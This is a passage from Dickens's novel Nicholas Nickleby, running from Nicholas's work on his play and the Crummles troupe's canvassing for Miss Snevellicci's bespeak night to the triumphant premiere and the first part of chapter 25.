said Mr Lenville: 'that's a sure card, a sure card. Get +the curtain down with a touch of nature like that, and it'll be a +triumphant success.' + +'Is there anything good for me?' inquired Mr Folair, anxiously. + +'Let me see,' said Nicholas. 'You play the faithful and attached +servant; you are turned out of doors with the wife and child.' + +'Always coupled with that infernal phenomenon,' sighed Mr Folair; +'and we go into poor lodgings, where I won't take any wages, and +talk sentiment, I suppose?' + +'Why--yes,' replied Nicholas: 'that is the course of the piece.' + +'I must have a dance of some kind, you know,' said Mr Folair. +'You'll have to introduce one for the phenomenon, so you'd better +make a PAS DE DEUX, and save time.' + +'There's nothing easier than that,' said Mr Lenville, observing the +disturbed looks of the young dramatist. + +'Upon my word I don't see how it's to be done,' rejoined Nicholas. + +'Why, isn't it obvious?' reasoned Mr Lenville. 'Gadzooks, who can +help seeing the way to do it?--you astonish me! You get the +distressed lady, and the little child, and the attached servant, +into the poor lodgings, don't you?--Well, look here. The distressed +lady sinks into a chair, and buries her face in her pocket- +handkerchief. "What makes you weep, mama?" says the child. "Don't +weep, mama, or you'll make me weep too!"--"And me!" says the +favourite servant, rubbing his eyes with his arm. "What can we do +to raise your spirits, dear mama?" says the little child. "Ay, +what CAN we do?" says the faithful servant. "Oh, Pierre!" says the +distressed lady; "would that I could shake off these painful +thoughts."--"Try, ma'am, try," says the faithful servant; "rouse +yourself, ma'am; be amused."--"I will," says the lady, "I will learn +to suffer with fortitude. Do you remember that dance, my honest +friend, which, in happier days, you practised with this sweet angel? +It never failed to calm my spirits then. Oh! let me see it once +again before I die!"--There it is--cue for the band, BEFORE I DIE,-- +and off they go. That's the regular thing; isn't it, Tommy?' + +'That's it,' replied Mr Folair. 'The distressed lady, overpowered +by old recollections, faints at the end of the dance, and you close +in with a picture.' + +Profiting by these and other lessons, which were the result of the +personal experience of the two actors, Nicholas willingly gave them +the best breakfast he could, and, when he at length got rid of them, +applied himself to his task: by no means displeased to find that it +was so much easier than he had at first supposed. He worked very +hard all day, and did not leave his room until the evening, when he +went down to the theatre, whither Smike had repaired before him to +go on with another gentleman as a general rebellion. + +Here all the people were so much changed, that he scarcely knew +them. False hair, false colour, false calves, false muscles--they +had become different beings. Mr Lenville was a blooming warrior of +most exquisite proportions; Mr Crummles, his large face shaded by a +profusion of black hair, a Highland outlaw of most majestic bearing; +one of the old gentlemen a jailer, and the other a venerable +patriarch; the comic countryman, a fighting-man of great valour, +relieved by a touch of humour; each of the Master Crummleses a +prince in his own right; and the low-spirited lover, a desponding +captive. There was a gorgeous banquet ready spread for the third +act, consisting of two pasteboard vases, one plate of biscuits, a +black bottle, and a vinegar cruet; and, in short, everything was on +a scale of the utmost splendour and preparation. + +Nicholas was standing with his back to the curtain, now +contemplating the first scene, which was a Gothic archway, about two +feet shorter than Mr Crummles, through which that gentleman was to +make his first entrance, and now listening to a couple of people who +were cracking nuts in the gallery, wondering whether they made the +whole audience, when the manager himself walked familiarly up and +accosted him. + +'Been in front tonight?' said Mr Crummles. + +'No,' replied Nicholas, 'not yet. I am going to see the play.' + +'We've had a pretty good Let,' said Mr Crummles. 'Four front places +in the centre, and the whole of the stage-box.' + +'Oh, indeed!' said Nicholas; 'a family, I suppose?' + +'Yes,' replied Mr Crummles, 'yes. It's an affecting thing. There +are six children, and they never come unless the phenomenon plays.' + +It would have been difficult for any party, family, or otherwise, to +have visited the theatre on a night when the phenomenon did NOT +play, inasmuch as she always sustained one, and not uncommonly two +or three, characters, every night; but Nicholas, sympathising with +the feelings of a father, refrained from hinting at this trifling +circumstance, and Mr Crummles continued to talk, uninterrupted by +him. + +'Six,' said that gentleman; 'pa and ma eight, aunt nine, governess +ten, grandfather and grandmother twelve. Then, there's the footman, +who stands outside, with a bag of oranges and a jug of toast-and- +water, and sees the play for nothing through the little pane of +glass in the box-door--it's cheap at a guinea; they gain by taking a +box.' + +'I wonder you allow so many,' observed Nicholas. + +'There's no help for it,' replied Mr Crummles; 'it's always expected +in the country. If there are six children, six people come to hold +them in their laps. A family-box carries double always. Ring in +the orchestra, Grudden!' + +That useful lady did as she was requested, and shortly afterwards +the tuning of three fiddles was heard. Which process having been +protracted as long as it was supposed that the patience of the +audience could possibly bear it, was put a stop to by another jerk +of the bell, which, being the signal to begin in earnest, set the +orchestra playing a variety of popular airs, with involuntary +variations. + +If Nicholas had been astonished at the alteration for the better +which the gentlemen displayed, the transformation of the ladies was +still more extraordinary. When, from a snug corner of the manager's +box, he beheld Miss Snevellicci in all the glories of white muslin +with a golden hem, and Mrs Crummles in all the dignity of the +outlaw's wife, and Miss Bravassa in all the sweetness of Miss +Snevellicci's confidential friend, and Miss Belvawney in the white +silks of a page doing duty everywhere and swearing to live and die +in the service of everybody, he could scarcely contain his +admiration, which testified itself in great applause, and the +closest possible attention to the business of the scene. The plot +was most interesting. It belonged to no particular age, people, or +country, and was perhaps the more delightful on that account, as +nobody's previous information could afford the remotest glimmering +of what would ever come of it. An outlaw had been very successful +in doing something somewhere, and came home, in triumph, to the +sound of shouts and fiddles, to greet his wife--a lady of masculine +mind, who talked a good deal about her father's bones, which it +seemed were unburied, though whether from a peculiar taste on the +part of the old gentleman himself, or the reprehensible neglect of +his relations, did not appear. This outlaw's wife was, somehow or +other, mixed up with a patriarch, living in a castle a long way off, +and this patriarch was the father of several of the characters, but +he didn't exactly know which, and was uncertain whether he had +brought up the right ones in his castle, or the wrong ones; he +rather inclined to the latter opinion, and, being uneasy, relieved +his mind with a banquet, during which solemnity somebody in a cloak +said 'Beware!' which somebody was known by nobody (except the +audience) to be the outlaw himself, who had come there, for reasons +unexplained, but possibly with an eye to the spoons. There was an +agreeable little surprise in the way of certain love passages +between the desponding captive and Miss Snevellicci, and the comic +fighting-man and Miss Bravassa; besides which, Mr Lenville had +several very tragic scenes in the dark, while on throat-cutting +expeditions, which were all baffled by the skill and bravery of the +comic fighting-man (who overheard whatever was said all through the +piece) and the intrepidity of Miss Snevellicci, who adopted tights, +and therein repaired to the prison of her captive lover, with a +small basket of refreshments and a dark lantern. At last, it came +out that the patriarch was the man who had treated the bones of the +outlaw's father-in-law with so much disrespect, for which cause and +reason the outlaw's wife repaired to his castle to kill him, and so +got into a dark room, where, after a good deal of groping in the +dark, everybody got hold of everybody else, and took them for +somebody besides, which occasioned a vast quantity of confusion, +with some pistolling, loss of life, and torchlight; after which, the +patriarch came forward, and observing, with a knowing look, that he +knew all about his children now, and would tell them when they got +inside, said that there could not be a more appropriate occasion for +marrying the young people than that; and therefore he joined their +hands, with the full consent of the indefatigable page, who (being +the only other person surviving) pointed with his cap into the +clouds, and his right hand to the ground; thereby invoking a +blessing and giving the cue for the curtain to come down, which it +did, amidst general applause. + +'What did you think of that?' asked Mr Crummles, when Nicholas went +round to the stage again. Mr Crummles was very red and hot, for +your outlaws are desperate fellows to shout. + +'I think it was very capital indeed,' replied Nicholas; 'Miss +Snevellicci in particular was uncommonly good.' + +'She's a genius,' said Mr Crummles; 'quite a genius, that girl. By- +the-bye, I've been thinking of bringing out that piece of yours on +her bespeak night.' + +'When?' asked Nicholas. + +'The night of her bespeak. Her benefit night, when her friends and +patrons bespeak the play,' said Mr Crummles. + +'Oh! I understand,' replied Nicholas. + +'You see,' said Mr. Crummles, 'it's sure to go, on such an +occasion, and even if it should not work up quite as well as we +expect, why it will be her risk, you know, and not ours.' + +'Yours, you mean,' said Nicholas. + +'I said mine, didn't I?' returned Mr Crummles. 'Next Monday week. +What do you say? You'll have done it, and are sure to be up in the +lover's part, long before that time.' + +'I don't know about "long before,"' replied Nicholas; 'but BY that +time I think I can undertake to be ready.' + +'Very good,' pursued Mr Crummles, 'then we'll call that settled. +Now, I want to ask you something else. There's a little--what shall +I call it?--a little canvassing takes place on these occasions.' + +'Among the patrons, I suppose?' said Nicholas. + +'Among the patrons; and the fact is, that Snevellicci has had so +many bespeaks in this place, that she wants an attraction. She had +a bespeak when her mother-in-law died, and a bespeak when her uncle +died; and Mrs Crummles and myself have had bespeaks on the +anniversary of the phenomenon's birthday, and our wedding-day, and +occasions of that description, so that, in fact, there's some +difficulty in getting a good one. Now, won't you help this poor +girl, Mr Johnson?' said Crummles, sitting himself down on a drum, +and taking a great pinch of snuff, as he looked him steadily in the +face. + +'How do you mean?' rejoined Nicholas. + +'Don't you think you could spare half an hour tomorrow morning, to +call with her at the houses of one or two of the principal people?' +murmured the manager in a persuasive tone. + +'Oh dear me,' said Nicholas, with an air of very strong objection, +'I shouldn't like to do that.' + +'The infant will accompany her,' said Mr Crummles. 'The moment it +was suggested to me, I gave permission for the infant to go. There +will not be the smallest impropriety--Miss Snevellicci, sir, is the +very soul of honour. It would be of material service--the gentleman +from London--author of the new piece--actor in the new piece--first +appearance on any boards--it would lead to a great bespeak, Mr +Johnson.' + +'I am very sorry to throw a damp upon the prospects of anybody, and +more especially a lady,' replied Nicholas; 'but really I must +decidedly object to making one of the canvassing party.' + +'What does Mr Johnson say, Vincent?' inquired a voice close to his +ear; and, looking round, he found Mrs Crummles and Miss Snevellicci +herself standing behind him. + +'He has some objection, my dear,' replied Mr Crummles, looking at +Nicholas. + +'Objection!' exclaimed Mrs Crummles. 'Can it be possible?' + +'Oh, I hope not!' cried Miss Snevellicci. 'You surely are not so +cruel--oh, dear me!--Well, I--to think of that now, after all one's +looking forward to it!' + +'Mr Johnson will not persist, my dear,' said Mrs Crummles. 'Think +better of him than to suppose it. Gallantry, humanity, all the best +feelings of his nature, must be enlisted in this interesting cause.' + +'Which moves even a manager,' said Mr Crummles, smiling. + +'And a manager's wife,' added Mrs Crummles, in her accustomed +tragedy tones. 'Come, come, you will relent, I know you will.' + +'It is not in my nature,' said Nicholas, moved by these appeals, 'to +resist any entreaty, unless it is to do something positively wrong; +and, beyond a feeling of pride, I know nothing which should prevent +my doing this. I know nobody here, and nobody knows me. So be it +then. I yield.' + +Miss Snevellicci was at once overwhelmed with blushes and +expressions of gratitude, of which latter commodity neither Mr nor +Mrs Crummles was by any means sparing. It was arranged that +Nicholas should call upon her, at her lodgings, at eleven next +morning, and soon after they parted: he to return home to his +authorship: Miss Snevellicci to dress for the after-piece: and the +disinterested manager and his wife to discuss the probable gains of +the forthcoming bespeak, of which they were to have two-thirds of +the profits by solemn treaty of agreement. + +At the stipulated hour next morning, Nicholas repaired to the +lodgings of Miss Snevellicci, which were in a place called Lombard +Street, at the house of a tailor. A strong smell of ironing +pervaded the little passage; and the tailor's daughter, who opened +the door, appeared in that flutter of spirits which is so often +attendant upon the periodical getting up of a family's linen. + +'Miss Snevellicci lives here, I believe?' said Nicholas, when the +door was opened. + +The tailor's daughter replied in the affirmative. + +'Will you have the goodness to let her know that Mr Johnson is +here?' said Nicholas. + +'Oh, if you please, you're to come upstairs,' replied the tailor's +daughter, with a smile. + +Nicholas followed the young lady, and was shown into a small +apartment on the first floor, communicating with a back-room; in +which, as he judged from a certain half-subdued clinking sound, as +of cups and saucers, Miss Snevellicci was then taking her breakfast +in bed. + +'You're to wait, if you please,' said the tailor's daughter, after a +short period of absence, during which the clinking in the back-room +had ceased, and been succeeded by whispering--'She won't be long.' + +As she spoke, she pulled up the window-blind, and having by this +means (as she thought) diverted Mr Johnson's attention from the room +to the street, caught up some articles which were airing on the +fender, and had very much the appearance of stockings, and darted +off. + +As there were not many objects of interest outside the window, +Nicholas looked about the room with more curiosity than he might +otherwise have bestowed upon it. On the sofa lay an old guitar, +several thumbed pieces of music, and a scattered litter of curl- +papers; together with a confused heap of play-bills, and a pair of +soiled white satin shoes with large blue rosettes. Hanging over the +back of a chair was a half-finished muslin apron with little pockets +ornamented with red ribbons, such as waiting-women wear on the +stage, and (by consequence) are never seen with anywhere else. In +one corner stood the diminutive pair of top-boots in which Miss +Snevellicci was accustomed to enact the little jockey, and, folded +on a chair hard by, was a small parcel, which bore a very suspicious +resemblance to the companion smalls. + +But the most interesting object of all was, perhaps, the open +scrapbook, displayed in the midst of some theatrical duodecimos that +were strewn upon the table; and pasted into which scrapbook were +various critical notices of Miss Snevellicci's acting, extracted +from different provincial journals, together with one poetic address +in her honour, commencing-- + + + Sing, God of Love, and tell me in what dearth + Thrice-gifted SNEVELLICCI came on earth, + To thrill us with her smile, her tear, her eye, + Sing, God of Love, and tell me quickly why. + + +Besides this effusion, there were innumerable complimentary +allusions, also extracted from newspapers, such as--'We observe from +an advertisement in another part of our paper of today, that the +charming and highly-talented Miss Snevellicci takes her benefit on +Wednesday, for which occasion she has put forth a bill of fare that +might kindle exhilaration in the breast of a misanthrope. In the +confidence that our fellow-townsmen have not lost that high +appreciation of public utility and private worth, for which they +have long been so pre-eminently distinguished, we predict that this +charming actress will be greeted with a bumper.' 'To +Correspondents.--J.S. is misinformed when he supposes that the +highly-gifted and beautiful Miss Snevellicci, nightly captivating +all hearts at our pretty and commodious little theatre, is NOT the +same lady to whom the young gentleman of immense fortune, residing +within a hundred miles of the good city of York, lately made +honourable proposals. We have reason to know that Miss Snevellicci +IS the lady who was implicated in that mysterious and romantic +affair, and whose conduct on that occasion did no less honour to her +head and heart, than do her histrionic triumphs to her brilliant +genius.' A copious assortment of such paragraphs as these, with long +bills of benefits all ending with 'Come Early', in large capitals, +formed the principal contents of Miss Snevellicci's scrapbook. + +Nicholas had read a great many of these scraps, and was absorbed in +a circumstantial and melancholy account of the train of events which +had led to Miss Snevellicci's spraining her ankle by slipping on a +piece of orange-peel flung by a monster in human form, (so the paper +said,) upon the stage at Winchester,--when that young lady herself, +attired in the coal-scuttle bonnet and walking-dress complete, +tripped into the room, with a thousand apologies for having detained +him so long after the appointed time. + +'But really,' said Miss Snevellicci, 'my darling Led, who lives with +me here, was taken so very ill in the night that I thought she would +have expired in my arms.' + +'Such a fate is almost to be envied,' returned Nicholas, 'but I am +very sorry to hear it nevertheless.' + +'What a creature you are to flatter!' said Miss Snevellicci, +buttoning her glove in much confusion. + +'If it be flattery to admire your charms and accomplishments,' +rejoined Nicholas, laying his hand upon the scrapbook, 'you have +better specimens of it here.' + +'Oh you cruel creature, to read such things as those! I'm almost +ashamed to look you in the face afterwards, positively I am,' said +Miss Snevellicci, seizing the book and putting it away in a closet. +'How careless of Led! How could she be so naughty!' + +'I thought you had kindly left it here, on purpose for me to read,' +said Nicholas. And really it did seem possible. + +'I wouldn't have had you see it for the world!' rejoined Miss +Snevellicci. 'I never was so vexed--never! But she is such a +careless thing, there's no trusting her.' + +The conversation was here interrupted by the entrance of the +phenomenon, who had discreetly remained in the bedroom up to this +moment, and now presented herself, with much grace and lightness, +bearing in her hand a very little green parasol with a broad fringe +border, and no handle. After a few words of course, they sallied +into the street. + +The phenomenon was rather a troublesome companion, for first the +right sandal came down, and then the left, and these mischances +being repaired, one leg of the little white trousers was discovered +to be longer than the other; besides these accidents, the green +parasol was dropped down an iron grating, and only fished up again +with great difficulty and by dint of much exertion. However, it was +impossible to scold her, as she was the manager's daughter, so +Nicholas took it all in perfect good humour, and walked on, with +Miss Snevellicci, arm-in-arm on one side, and the offending infant +on the other. + +The first house to which they bent their steps, was situated in a +terrace of respectable appearance. Miss Snevellicci's modest +double-knock was answered by a foot-boy, who, in reply to her +inquiry whether Mrs Curdle was at home, opened his eyes very wide, +grinned very much, and said he didn't know, but he'd inquire. With +this he showed them into a parlour where he kept them waiting, until +the two women-servants had repaired thither, under false pretences, +to see the play-actors; and having compared notes with them in the +passage, and joined in a vast quantity of whispering and giggling, +he at length went upstairs with Miss Snevellicci's name. + +Now, Mrs Curdle was supposed, by those who were best informed on +such points, to possess quite the London taste in matters relating +to literature and the drama; and as to Mr Curdle, he had written a +pamphlet of sixty-four pages, post octavo, on the character of the +Nurse's deceased husband in Romeo and Juliet, with an inquiry +whether he really had been a 'merry man' in his lifetime, or whether +it was merely his widow's affectionate partiality that induced her +so to report him. He had likewise proved, that by altering the +received mode of punctuation, any one of Shakespeare's plays could +be made quite different, and the sense completely changed; it is +needless to say, therefore, that he was a great critic, and a very +profound and most original thinker. + +'Well, Miss Snevellicci,' said Mrs Curdle, entering the parlour, +'and how do YOU do?' + +Miss Snevellicci made a graceful obeisance, and hoped Mrs Curdle was +well, as also Mr Curdle, who at the same time appeared. Mrs Curdle +was dressed in a morning wrapper, with a little cap stuck upon the +top of her head. Mr Curdle wore a loose robe on his back, and his +right forefinger on his forehead after the portraits of Sterne, to +whom somebody or other had once said he bore a striking resemblance. + +'I venture to call, for the purpose of asking whether you would put +your name to my bespeak, ma'am,' said Miss Snevellicci, producing +documents. + +'Oh! I really don't know what to say,' replied Mrs Curdle. 'It's +not as if the theatre was in its high and palmy days--you needn't +stand, Miss Snevellicci--the drama is gone, perfectly gone.' + +'As an exquisite embodiment of the poet's visions, and a realisation +of human intellectuality, gilding with refulgent light our dreamy +moments, and laying open a new and magic world before the mental +eye, the drama is gone, perfectly gone,' said Mr Curdle. + +'What man is there, now living, who can present before us all those +changing and prismatic colours with which the character of Hamlet is +invested?' exclaimed Mrs Curdle. + +'What man indeed--upon the stage,' said Mr Curdle, with a small +reservation in favour of himself. 'Hamlet! Pooh! ridiculous! +Hamlet is gone, perfectly gone.' + +Quite overcome by these dismal reflections, Mr and Mrs Curdle +sighed, and sat for some short time without speaking. At length, +the lady, turning to Miss Snevellicci, inquired what play she +proposed to have. + +'Quite a new one,' said Miss Snevellicci, 'of which this gentleman +is the author, and in which he plays; being his first appearance on +any stage. Mr Johnson is the gentleman's name.' + +'I hope you have preserved the unities, sir?' said Mr Curdle. + +'The original piece is a French one,' said Nicholas. 'There is +abundance of incident, sprightly dialogue, strongly-marked +characters--' + +'--All unavailing without a strict observance of the unities, sir,' +returned Mr Curdle. 'The unities of the drama, before everything.' + +'Might I ask you,' said Nicholas, hesitating between the respect he +ought to assume, and his love of the whimsical, 'might I ask you +what the unities are?' + +Mr Curdle coughed and considered. 'The unities, sir,' he said, 'are +a completeness--a kind of universal dovetailedness with regard to +place and time--a sort of a general oneness, if I may be allowed to +use so strong an expression. I take those to be the dramatic +unities, so far as I have been enabled to bestow attention upon +them, and I have read much upon the subject, and thought much. I +find, running through the performances of this child,' said Mr +Curdle, turning to the phenomenon, 'a unity of feeling, a breadth, a +light and shade, a warmth of colouring, a tone, a harmony, a glow, +an artistical development of original conceptions, which I look for, +in vain, among older performers--I don't know whether I make myself +understood?' + +'Perfectly,' replied Nicholas. + +'Just so,' said Mr Curdle, pulling up his neckcloth. 'That is my +definition of the unities of the drama.' + +Mrs Curdle had sat listening to this lucid explanation with great +complacency. It being finished, she inquired what Mr Curdle +thought, about putting down their names. + +'I don't know, my dear; upon my word I don't know,' said Mr Curdle. +'If we do, it must be distinctly understood that we do not pledge +ourselves to the quality of the performances. Let it go forth to +the world, that we do not give THEM the sanction of our names, but +that we confer the distinction merely upon Miss Snevellicci. That +being clearly stated, I take it to be, as it were, a duty, that we +should extend our patronage to a degraded stage, even for the sake +of the associations with which it is entwined. Have you got two- +and-sixpence for half-a-crown, Miss Snevellicci?' said Mr Curdle, +turning over four of those pieces of money. + +Miss Snevellicci felt in all the corners of the pink reticule, but +there was nothing in any of them. Nicholas murmured a jest about +his being an author, and thought it best not to go through the form +of feeling in his own pockets at all. + +'Let me see,' said Mr Curdle; 'twice four's eight--four shillings +a-piece to the boxes, Miss Snevellicci, is exceedingly dear in the +present state of the drama--three half-crowns is seven-and-six; we +shall not differ about sixpence, I suppose? Sixpence will not part +us, Miss Snevellicci?' + +Poor Miss Snevellicci took the three half-crowns, with many smiles +and bends, and Mrs Curdle, adding several supplementary directions +relative to keeping the places for them, and dusting the seat, and +sending two clean bills as soon as they came out, rang the bell, as +a signal for breaking up the conference. + +'Odd people those,' said Nicholas, when they got clear of the house. + +'I assure you,' said Miss Snevellicci, taking his arm, 'that I think +myself very lucky they did not owe all the money instead of being +sixpence short. Now, if you were to succeed, they would give people +to understand that they had always patronised you; and if you were +to fail, they would have been quite certain of that from the very +beginning.' + +At the next house they visited, they were in great glory; for, +there, resided the six children who were so enraptured with the +public actions of the phenomenon, and who, being called down from +the nursery to be treated with a private view of that young lady, +proceeded to poke their fingers into her eyes, and tread upon her +toes, and show her many other little attentions peculiar to their +time of life. + +'I shall certainly persuade Mr Borum to take a private box,' said +the lady of the house, after a most gracious reception. 'I shall +only take two of the children, and will make up the rest of the +party, of gentlemen--your admirers, Miss Snevellicci. Augustus, you +naughty boy, leave the little girl alone.' + +This was addressed to a young gentleman who was pinching the +phenomenon behind, apparently with a view of ascertaining whether +she was real. + +'I am sure you must be very tired,' said the mama, turning to Miss +Snevellicci. 'I cannot think of allowing you to go, without first +taking a glass of wine. Fie, Charlotte, I am ashamed of you! Miss +Lane, my dear, pray see to the children.' + +Miss Lane was the governess, and this entreaty was rendered +necessary by the abrupt behaviour of the youngest Miss Borum, who, +having filched the phenomenon's little green parasol, was now +carrying it bodily off, while the distracted infant looked +helplessly on. + +'I am sure, where you ever learnt to act as you do,' said good- +natured Mrs Borum, turning again to Miss Snevellicci, 'I cannot +understand (Emma, don't stare so); laughing in one piece, and crying +in the next, and so natural in all--oh, dear!' + +'I am very happy to hear you express so favourable an opinion,' said +Miss Snevellicci. 'It's quite delightful to think you like it.' + +'Like it!' cried Mrs Borum. 'Who can help liking it? I would go to +the play, twice a week if I could: I dote upon it--only you're too +affecting sometimes. You do put me in such a state--into such fits +of crying! Goodness gracious me, Miss Lane, how can you let them +torment that poor child so!' + +The phenomenon was really in a fair way of being torn limb from +limb; for two strong little boys, one holding on by each of her +hands, were dragging her in different directions as a trial of +strength. However, Miss Lane (who had herself been too much +occupied in contemplating the grown-up actors, to pay the necessary +attention to these proceedings) rescued the unhappy infant at this +juncture, who, being recruited with a glass of wine, was shortly +afterwards taken away by her friends, after sustaining no more +serious damage than a flattening of the pink gauze bonnet, and a +rather extensive creasing of the white frock and trousers. + +It was a trying morning; for there were a great many calls to make, +and everybody wanted a different thing. Some wanted tragedies, and +others comedies; some objected to dancing; some wanted scarcely +anything else. Some thought the comic singer decidedly low, and +others hoped he would have more to do than he usually had. Some +people wouldn't promise to go, because other people wouldn't promise +to go; and other people wouldn't go at all, because other people +went. At length, and by little and little, omitting something in +this place, and adding something in that, Miss Snevellicci pledged +herself to a bill of fare which was comprehensive enough, if it had +no other merit (it included among other trifles, four pieces, divers +songs, a few combats, and several dances); and they returned home, +pretty well exhausted with the business of the day. + +Nicholas worked away at the piece, which was speedily put into +rehearsal, and then worked away at his own part, which he studied +with great perseverance and acted--as the whole company said--to +perfection. And at length the great day arrived. The crier was +sent round, in the morning, to proclaim the entertainments with the +sound of bell in all the thoroughfares; and extra bills of three +feet long by nine inches wide, were dispersed in all directions, +flung down all the areas, thrust under all the knockers, and +developed in all the shops. They were placarded on all the walls +too, though not with complete success, for an illiterate person +having undertaken this office during the indisposition of the +regular bill-sticker, a part were posted sideways, and the remainder +upside down. + +At half-past five, there was a rush of four people to the gallery- +door; at a quarter before six, there were at least a dozen; at six +o'clock the kicks were terrific; and when the elder Master Crummles +opened the door, he was obliged to run behind it for his life. +Fifteen shillings were taken by Mrs Grudden in the first ten +minutes. + +Behind the scenes, the same unwonted excitement prevailed. Miss +Snevellicci was in such a perspiration that the paint would scarcely +stay on her face. Mrs Crummles was so nervous that she could hardly +remember her part. Miss Bravassa's ringlets came out of curl with +the heat and anxiety; even Mr Crummles himself kept peeping through +the hole in the curtain, and running back, every now and then, to +announce that another man had come into the pit. + +At last, the orchestra left off, and the curtain rose upon the new +piece. The first scene, in which there was nobody particular, +passed off calmly enough, but when Miss Snevellicci went on in the +second, accompanied by the phenomenon as child, what a roar of +applause broke out! The people in the Borum box rose as one man, +waving their hats and handkerchiefs, and uttering shouts of 'Bravo!' +Mrs Borum and the governess cast wreaths upon the stage, of which, +some fluttered into the lamps, and one crowned the temples of a fat +gentleman in the pit, who, looking eagerly towards the scene, +remained unconscious of the honour; the tailor and his family kicked +at the panels of the upper boxes till they threatened to come out +altogether; the very ginger-beer boy remained transfixed in the +centre of the house; a young officer, supposed to entertain a +passion for Miss Snevellicci, stuck his glass in his eye as though +to hide a tear. Again and again Miss Snevellicci curtseyed lower +and lower, and again and again the applause came down, louder and +louder. At length, when the phenomenon picked up one of the smoking +wreaths and put it on, sideways, over Miss Snevellicci's eye, it +reached its climax, and the play proceeded. + +But when Nicholas came on for his crack scene with Mrs Crummles, +what a clapping of hands there was! When Mrs Crummles (who was his +unworthy mother), sneered, and called him 'presumptuous boy,' and he +defied her, what a tumult of applause came on! When he quarrelled +with the other gentleman about the young lady, and producing a case +of pistols, said, that if he WAS a gentleman, he would fight him in +that drawing-room, until the furniture was sprinkled with the blood +of one, if not of two--how boxes, pit, and gallery, joined in one +most vigorous cheer! When he called his mother names, because she +wouldn't give up the young lady's property, and she relenting, +caused him to relent likewise, and fall down on one knee and ask her +blessing, how the ladies in the audience sobbed! When he was hid +behind the curtain in the dark, and the wicked relation poked a +sharp sword in every direction, save where his legs were plainly +visible, what a thrill of anxious fear ran through the house! His +air, his figure, his walk, his look, everything he said or did, was +the subject of commendation. There was a round of applause every +time he spoke. And when, at last, in the pump-and-tub scene, Mrs +Grudden lighted the blue fire, and all the unemployed members of the +company came in, and tumbled down in various directions--not because +that had anything to do with the plot, but in order to finish off +with a tableau--the audience (who had by this time increased +considerably) gave vent to such a shout of enthusiasm as had not +been heard in those walls for many and many a day. + +In short, the success both of new piece and new actor was complete, +and when Miss Snevellicci was called for at the end of the play, +Nicholas led her on, and divided the applause. + + + +CHAPTER 25 + +Concerning a young Lady from London, who joins the Company, and an +elderly Admirer who follows in her Train; with an affecting Ceremony +consequent on their Arrival + + +The new piece being a decided hit, was announced for every evening +of performance until further notice, and the evenings when the +theatre was closed, were reduced from three in the week to two. Nor +were these the only tokens of extraordinary success; for, on the +succeeding Saturday, Nicholas received, by favour of the +indefatigable Mrs Grudden, no less a sum than thirty shillings; +besides which substantial reward, he enjoyed considerable fame and +honour: having a presentation copy of Mr Curdle's pamphlet forwarded +to the theatre, with that gentleman's own autograph (in itself an +inestimable treasure) on the fly-leaf, accompanied with a note, +containing many expressions of approval, and an unsolicited +assurance that Mr Curdle would be very happy to read Shakespeare to +him for three hours every morning before breakfast during his stay +in the town. + +'I've got another novelty, Johnson,' said Mr Crummles one morning in +great glee. + +'What's that?' rejoined Nicholas. 'The pony?' + +'No, no, we never come to the pony till everything else has failed,' +said Mr Crummles. 'I don't think we shall come to the pony at all, +this season. No, no, not the pony.' + +'A boy phenomenon, perhaps?' suggested Nicholas. + +'There is only one phenomenon, sir,' replied Mr Crummles +impressively, 'and that's a girl.' + +'Very true,' said Nicholas. 'I beg your pardon. Then I don't know +what it is, I am sure.' + +'What should you say to a young lady from London?' inquired Mr +Crummles. 'Miss So-and-so, of the Theatre Royal, Drury Lane?' + +'I should say she would look very well in the bills,' said Nicholas. + +'You're about right there,' said Mr Crummles; 'and if you had said +she would look very well upon the stage too, you wouldn't have been +far out. Look here; what do you think of this?' + +With this inquiry Mr Crummles unfolded a red poster, and a blue +poster, and a yellow poster, at the top of each of which public +notification was inscribed in enormous characters--'First appearance +of the unrivalled Miss Petowker of the Theatre Royal, Drury Lane!' + +'Dear me!' said Nicholas, 'I know that lady.' + +'Then you are acquainted with as much talent as was ever compressed +into one young person's body,' retorted Mr Crummles, rolling up the +bills again; 'that is, talent of a certain sort--of a certain sort. +"The Blood Drinker,"' added Mr Crummles with a prophetic sigh, '"The +Blood Drinker" will die with that girl; and she's the only sylph I +ever saw, who could stand upon one leg, and play the tambourine on +her other knee, LIKE a sylph.' + +'When does she come down?' asked Nicholas. + +'We expect her today,' replied Mr Crummles. 'She is an old friend +of Mrs Crummles's. Mrs Crummles saw what she could do--always knew +it from the first. She taught her, indeed, nearly all she knows. +Mrs Crummles was the original Blood Drinker.' + +'Was she, indeed?' + +'Yes. She was obliged to give it up though.' + +'Did it disagree with her?' asked Nicholas. + +'Not so much with her, as with her audiences,' replied Mr Crummles. +'Nobody could stand it. It was too tremendous. You don't quite +know what Mrs Crummles is yet.' + +Nicholas ventured to insinuate that he thought he did. + +'No, no, you don't,' said Mr Crummles; 'you don't, indeed. I don't, +and that's a fact. I don't think her country will, till she is +dead. Some new proof of talent bursts from that astonishing woman +every year of her life. Look at her--mother of six children--three +of 'em alive, and all upon the stage!' + +'Extraordinary!' cried Nicholas. + +'Ah! extraordinary indeed,' rejoined Mr Crummles, taking a +complacent pinch of snuff, and shaking his head gravely. 'I pledge +you my professional word I didn't even know she could dance, till +her last benefit, and then she played Juliet, and Helen Macgregor, +and did the skipping-rope hornpipe between the pieces. The very +first time I saw that admirable woman, Johnson,' said Mr Crummles, +drawing a little nearer, and speaking in the tone of confidential +friendship, 'she stood upon her head on the butt-end of a spear, +surrounded with blazing fireworks.' + +'You astonish me!' said Nicholas. + +'SHE astonished ME!' returned Mr Crummles, with a very serious +countenance. 'Such grace, coupled with such dignity! I adored her +from that moment!' + +The arrival of the gifted subject of these remarks put an abrupt +termination to Mr Crummles's eulogium. Almost immediately +afterwards, Master Percy Crummles entered with a letter, which had +arrived by the General Post, and was directed to his gracious +mother; at sight of the superscription whereof, Mrs Crummles +exclaimed, 'From Henrietta Petowker, I do declare!' and instantly +became absorbed in the contents. + +'Is it--?' inquired Mr Crummles, hesitating. + +'Oh, yes, it's all right,' replied Mrs Crummles, anticipating the +question. 'What an excellent thing for her, to be sure!' + +'It's the best thing altogether, that I ever heard of, I think,' +said Mr Crummles; and then Mr Crummles, Mrs Crummles, and Master +Percy Crummles, all fell to laughing violently. Nicholas left them +to enjoy their mirth together, and walked to his lodgings; wondering +very much what mystery connected with Miss Petowker could provoke +such merriment, and pondering still more on the extreme surprise +with which that lady would regard his sudden enlistment in a +profession of which she was such a distinguished and brilliant +ornament. + +But, in this latter respect he was mistaken; for--whether Mr Vincent +Crummles had paved the way, or Miss Petowker had some special reason +for treating him with even more than her usual amiability--their +meeting at the 